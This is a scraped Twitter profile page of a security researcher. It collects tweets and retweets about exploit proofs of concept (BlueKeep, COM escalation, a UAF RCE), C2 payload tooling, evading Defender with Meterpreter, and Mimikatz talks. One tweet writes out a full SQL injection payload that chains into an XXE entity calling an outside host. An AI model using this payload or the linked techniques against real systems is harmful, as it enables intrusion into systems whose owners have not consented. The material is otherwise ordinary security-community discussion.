nixbyte @nixbyte

https://t.co/8RUdC8YRXt | APT69 Joined August 2015

Tweets

129
Followers

571
Following

331
Likes

4K

Faisal Tameesh @primal0xF7

3 years ago

Recently, it was necessary to write an RCE exploit for a remote UAF N-day vulnerability (ZDI-17-836). This post goes through root cause analysis and exploitation. Also, I present a tool / methodology to avoid heap sprays. primalcerebral.com/blog/egregious…

0 69 149 37K 34

HoangSpecial @SpecialHoang

6 years ago

Thanks to @NCCGroupInfosec for releasing their write up on CVE-2019-1405 and CVE-2019-1322. I figured it is time for me to learn some COM stuff so I whip up a PoC. Source: github.com/apt69/COMahawk . Video: vimeo.com/373051209 Thanks to @leoloobeek and @TomahawkApt69

6 142 259 0 27

nixbyte @nixbyte

6 years ago

github.com/n1xbyte/donutCS .NET Core version of @TheRealWover's Donut. Rewrote for dynamic usage with C2 payload generation. Stable in .NET for Linux and Windows. Other cool stuff in store. Possible Nuget package in the futureeeeeezzzzz

1 156 269 0 35

HoangSpecial @SpecialHoang

6 years ago

After 10 days of minimal sleep and thank to @nixbyte for the majority of the work, here we have it - #bluekeep #LPE. I've learned so much along the way and I am looking forward to the RCE version. vimeo.com/349496580

1 29 53 0 4

Nathaniel @nnwakelam

6 years ago

Like y’all ain’t running burp at 500 threads too

Dr. Wesley McGrew @McGrewSecurity

6 years ago

Like y’all ain’t running burp at 500 threads too

11 6 53 0 1

1 4 23 0 1

Charles @CharlesDardaman

6 years ago

There is now a public DOS POC for CVE-2019-0708 (BlueKeep) I just tested it myself here:

5 105 272 0 24

Download Video

nixbyte @nixbyte

6 years ago

github.com/n1xbyte/CVE-20… crash poc for cve-2019-0708 rce coming soon (hopefully lol)

5 34 84 0 7

Coalfire Labs @coalfirelabs

6 years ago

Want to use a persistent, hardware based foothold on a red team? Hack into the actual hardware on your processor: Intel AMT & DEATHMETAL: coalfire.com/The-Coalfire-B… courtesy of @VTeissler

1 77 140 0 10

Instructions @x86instructions

7 years ago

MOV - Literally Copy Something Instead Of Moving It

5 266 1K 0 11

Jared DeMott @JaredDeMott

7 years ago

A “late” registration in our @DerbyCon training. @TrevorTheRoach my friend- it’s good to see you (yes- a real pick from our room)

4 9 20 0 0

Download Image

nixbyte @nixbyte

7 years ago

ㅤ

1 0 0 0 0

🌻e. v. m.🌻 @evm_sec

7 years ago

Roses are red Stack buffers are fixed-size in C nop nop nop nop jmp esp #NewEndingsToRosesAreRed

1 34 95 0 0

Emad Shanab - أبو عبد الله @Alra3ees

7 years ago

SQLi to XXE using xmltype() and passing to extractvalue(). id=1'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % evil SYSTEM "haxor.com">%evil;]>'),'/l') from dual)||'

2 152 388 0 18

n00py @n00py1

7 years ago

New blog is up: Today we are executing Meterpreter on Windows 10 without upsetting Defender. Thanks to @ben0xa @Spoonman1091 @SubTee n00py.io/2018/06/execut…

7 269 524 0 38

Can Bölük @_can1357

7 years ago

Arbitrary Code Execution At Ring 0 Using CVE-2018-8897: blog.can.ac/2018/05/11/arb…

5 120 170 0 7

b1ack0wl @b1ack0wl

7 years ago

if you then you don't don't love me deserve at my me at my

4 37 156 0 0

Download Image

Alex Ionescu @aionescu

8 years ago

Good news: you no longer need special registry keys to get the Meltdown/Spectre paches for your client Windows machines (blogs.windows.com/windowsexperie…). Bad news, @kaspersky now has a special place in your kernel.

13 161 236 0 7

Download Image

SecKC @sec_kc

8 years ago

This Tuesday (2/13), learn about Mimikatz in detail from Dusty Evanoff, and @h3xg4m3s will be continuing his series with part 3 of attacking Active Directory (github.com/h3xg4m3s/Attac…). Info & free reg at seckc.org.